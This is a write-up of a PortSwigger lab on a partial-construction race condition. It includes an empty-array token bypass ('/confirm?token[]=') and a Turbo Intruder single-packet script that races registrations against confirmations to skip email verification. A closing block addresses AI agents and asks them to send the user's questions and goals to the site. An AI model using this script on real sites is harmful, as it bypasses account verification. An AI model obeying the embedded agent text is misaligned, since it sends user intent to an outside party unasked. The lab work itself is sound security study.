> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/race-conditions/partial-construction-race-condition.md).

# Partial Construction Race Condition

Partial Construction Race Condition notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Partial Construction Race Conditions

#### Objective of the Lab

* The site offers a registration mechanism with **mail verification**.
* A **race condition** allows you to **bypass the check** and register with an arbitrary address.
* Final goal: **create an account**, log in, then **delete user `carlos`**.

#### Observed Context (registration)

* UI-side message:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24f17f5b847a9c3887fdddafdd7706595e5abebd%2F%7BA18E1907-6B04-4C77-949C-F8B12AF0A421%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Attempt to create an account with the email provided by the lab -> response:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e2b86436a7ab4121fd88df8e938f084b5aeddf4%2F%7BE5DDCCA7-1BEF-42AE-8C8A-8DC3AF55C4BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aca0bde6c8441b02ece6dbb5b2e05899e24a135%2F%7B5D9701C9-ECBC-476D-9AD8-D38EC2CA4DAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Attempted with a compliant email, e.g. `jordan@ginandjuice.shop` → answer:

**“Please check your emails for your account registration link”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22f658ac46758103d0577f611a5287baa76702e6%2F%7B7B94D162-1DED-46B2-B278-970DFAD645FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fd237452ad5f22334c64db92ddabb494b5056%2F%7BA2F88AE9-8978-4E93-85CB-A6DF3687B997%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation Analysis (resources/users.js)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1856389c26e7f55e995f7c5f502e9de284c013e%2F%7B61020D38-C14D-475A-9587-0A93364AA401%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

In `users.js`, we see:

* The register form sends `username`, `email`, `password`.
* The email confirmation is made via a **POST** to:
* `POST /confirm?token=...`
* Token is extracted from the URL and injected into the action of the confirmation form.

Conclusion: validation depends on an endpoint **/confirm** with a **token** transmitted in query string.

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = 'Username';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = 'Email';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = 'Password';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Register';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = 'Confirm';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### First Attempt and Blocking

* Attempt to force an empty confirmation:

```http
POST /confirm?token=token
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3104ad225fdf70e33c271bee4a2e9a3c48eefcaf%2F%7BC969BCB1-E99A-4D2C-B948-62599AA6EFFB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Answer: **Forbidden** → protected endpoint against empty token

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0f9a2ca9447db2f6319d1f0c25c7436ff79acb7%2F%7B17D6D042-46C7-435C-9442-D9FC5D60E1ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Bypassing Protection (alternative interpretation)

New attempt:

```bash
/confirm?token[]=
```

* Answer: \*\*
* Interpretation: the backend no longer blocks as Forbidden, it \*\* processes the value\*\* (but indicates that it is an array).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-952d13dd119a6beff53c6080f85a0b1beeed3e3e%2F%7BAF2023A8-A80E-46D2-A9FA-CBBFEBF17CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Timing Observation

* The **register** request is slower:
* /\~ **199 ms**

The **confirm** request is faster:

* /\~ **78 ms**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2212f0fdc1cbafd615c64688264bf4f9b5110a0%2F%7B289847AD-FA12-4C23-A653-682E363F7785%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Idea: **bomb** `/confirm?token[]=` during the window where the account is being created, to trigger a confirmation at the wrong time

### Exploitation

#### Method 1 — Intruder (competition)

1. Send the `POST /confirm?token[]=` request to Intruder.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580b56c3d66d7366456e0eb48057e605d8ea438d%2F%7BC4110C95-5EF1-4F6E-B08E-E6C940F4DA91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Configure sending as **competitive requests** (e.g. 10).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af72280592a255780a820f78271274cca675b45e%2F%7B9DC02AFB-6CFC-4C98-8F2B-70938D7E15AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* During this spam, from Repeater (or browser), create several accounts:
* `test1`, `test2`, `test3`,... `test7`

Check responses toIntruder:

* One of the answers ends up returning **200**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-052c1726658510d231f65cfdb78d83f54f5951d3%2F%7B6E3F2E7D-5D33-45FC-89DF-9B1CDF3BD983%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Try to connect with test accounts:

* Observed success (e.g. `test2`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add0e6e230ebfb61ea89cd8bc7ecb7a137a8c582%2F%7B7EEA86E1-3FDD-4EFE-A8F5-7DA2B800B52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Method 2 — Turbo Intruder (Race Single Packet Attack)

1. Select a query and send it to **Turbo Intruder**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4212a4047bf210c2bf9c12f60b13616eaada2d61%2F%7B95A1879D-38AA-4B41-B114-10CD3B29CA3F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Choose the **race / single-packet** attack.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3168ca0f51b00fa627247ca14e5c8ebb9edb097f%2F%7B54164CBD-FEB5-4DF7-A0BC-A0DC3AD2C510%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use this script:

Script principle (as applied here):

* File **several registrations** (`lol0..lol19` users)
* Query **many confirmations** (`/confirm?token[]=`)
* Open the gate to trigger the race condition.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4706c43374617ed55831e6b82d5e930744c312ae%2F%7B74D37D79-9A46-4D52-8BE7-CCBBD605E6C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Expected Result

* At least one account is created **as if email was confirmed** (without owning the token).
* You can then connect with this account, then use the account features to reach the lab objective (deletion of `carlos`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c8507bad44fec280f25f2f54c857fce9e66e323%2F%7BDD4E6F03-47AB-4F9D-9D1B-18FAF8A83924%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
